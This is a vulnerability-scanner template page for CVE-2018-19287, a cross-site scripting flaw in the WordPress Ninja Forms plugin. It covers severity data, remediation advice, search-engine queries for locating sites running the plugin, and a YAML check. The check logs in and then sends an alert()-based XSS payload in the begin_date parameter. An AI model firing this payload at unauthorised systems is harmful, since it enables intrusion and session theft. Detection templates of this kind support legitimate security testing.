CVE-2018-19287: WordPress Ninja Forms <3.3.18 - Cross-Site Scripting
- Template: CVE-2018-19287
- Name: WordPress Ninja Forms <3.3.18 - Cross-Site Scripting
- Description: WordPress Ninja Forms plugin before 3.3.18 contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in includes/Admin/Menus/Submissions.php via the begin_date, end_date, or form_id parameters. This can allow an attacker to steal cookie-based authentication credentials and launch other attacks.
- Impact: Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
- Remediation: Upgrade to the latest version of the Ninja Forms plugin (3.3.18 or higher) to mitigate this vulnerability.
- Severity: medium
- Authors: theamanrawat
- Tags: cve, cve2018, wp-plugin, wp, xss, authenticated, wpscan, edb, ninja-forms, wordpress, ninjaforma, vuln
- References: https://wpscan.com/vulnerability/fb036dc2-0ee8-4a3e-afac-f52050b3f8c7, https://wordpress.org/plugins/ninja-forms/, https://www.exploit-db.com/exploits/45880, https://nvd.nist.gov/vuln/detail/CVE-2018-19287, https://plugins.trac.wordpress.org/changeset/1974335/ninja-forms/trunk/includes/Admin/Menus/Submissions.php
- Cves: CVE-2018-19287
- Verified: yes
- Max requests: 2
- Directory: http/cves
- Path: http/cves/2018/CVE-2018-19287.yaml
- Digest: 4a0a004730450220593c761e5ddc7bb8bb98832579c18a349fbf747891914989f191a703f102c3c2022100fd9a22109560fb07ea25a7f75f0f888aca3dfa79be1797e8b84f5fc6b3397897
- Created at: 2022-10-14T11:57:04Z
- Updated at: 2026-11-23T02:03:43Z
- Age in days: 1502
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2018/CVE-2018-19287.yaml
Classification
- Cwe: CWE-79
- Cvss score: 6.1
- Cvss vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Epss score: 0.08863
- Epss percentile: 0.95337
- Cpe: cpe:2.3:a:ninjaforma:ninja_forms:*:*:*:*:*:wordpress:*:*
Metadata
- Fofa-query: body=/wp-content/plugins/ninja-forms/
- Framework: wordpress
- Max-request: 2
- Product: ninja_forms
- Publicwww-query: /wp-content/plugins/ninja-forms/
- Shodan-query: http.html:/wp-content/plugins/ninja-forms/
- Vendor: ninjaforma
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| ninjaforma:ninja_forms | yes | /v1/products/ninjaforma/ninja_forms |
Labels
- Name: WordPress Ninja Forms - Stored XSS
- Impact: Attackers can execute malicious scripts in victim's browser, leading to cookie theft and potential session hijacking.
- Remediation: Update to version 3.3.18 or later.
- Vulnerability type: stored_xss
- Vulnerability impact: client_script_exec
- Requirement type: user_interaction
- Requirements: Attacker needs to inject malicious script
- Labels source: projectdiscovery
- From cve: CVE-2018-19287
```yaml
id: CVE-2018-19287
info:
name: WordPress Ninja Forms <3.3.18 - Cross-Site Scripting
author: theamanrawat
severity: medium
description: |
WordPress Ninja Forms plugin before 3.3.18 contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in includes/Admin/Menus/Submissions.php via the begin_date, end_date, or form_id parameters. This can allow an attacker to steal cookie-based authentication credentials and launch other attacks.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
remediation: |
Upgrade to the latest version of the Ninja Forms plugin (3.3.18 or higher) to mitigate this vulnerability.
reference:
- https://wpscan.com/vulnerability/fb036dc2-0ee8-4a3e-afac-f52050b3f8c7
- https://wordpress.org/plugins/ninja-forms/
- https://www.exploit-db.com/exploits/45880
- https://nvd.nist.gov/vuln/detail/CVE-2018-19287
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2018-19287
cwe-id: CWE-79
epss-score: 0.08863
epss-percentile: 0.95337
cpe: cpe:2.3:a:ninjaforma:ninja_forms:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: ninjaforma
product: ninja_forms
framework: wordpress
shodan-query: http.html:/wp-content/plugins/ninja-forms/
fofa-query: body=/wp-content/plugins/ninja-forms/
publicwww-query: /wp-content/plugins/ninja-forms/
tags: cve,cve2018,wp-plugin,wp,xss,authenticated,wpscan,edb,ninja-forms,wordpress,ninjaforma,vuln
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/edit.php?s&post_status=all&post_type=nf_sub&action=-1&form_id=1&nf_form_filter&begin_date="><img+src%3Dx+onerror%3Dalert%28document.domain%29%3B%2F%2F&end_date&filter_action=Filter&paged=1&action2=-1 HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body_2
words:
- 'Begin Date" value="\"><img src=x onerror=alert(document.domain);//">'
- type: word
part: header_2
words:
- text/html
- type: status
status:
- 200
digest: 4a0a004730450220593c761e5ddc7bb8bb98832579c18a349fbf747891914989f191a703f102c3c2022100fd9a22109560fb07ea25a7f75f0f888aca3dfa79be1797e8b84f5fc6b3397897:922c64590222798bb761d5b6d8e72950
```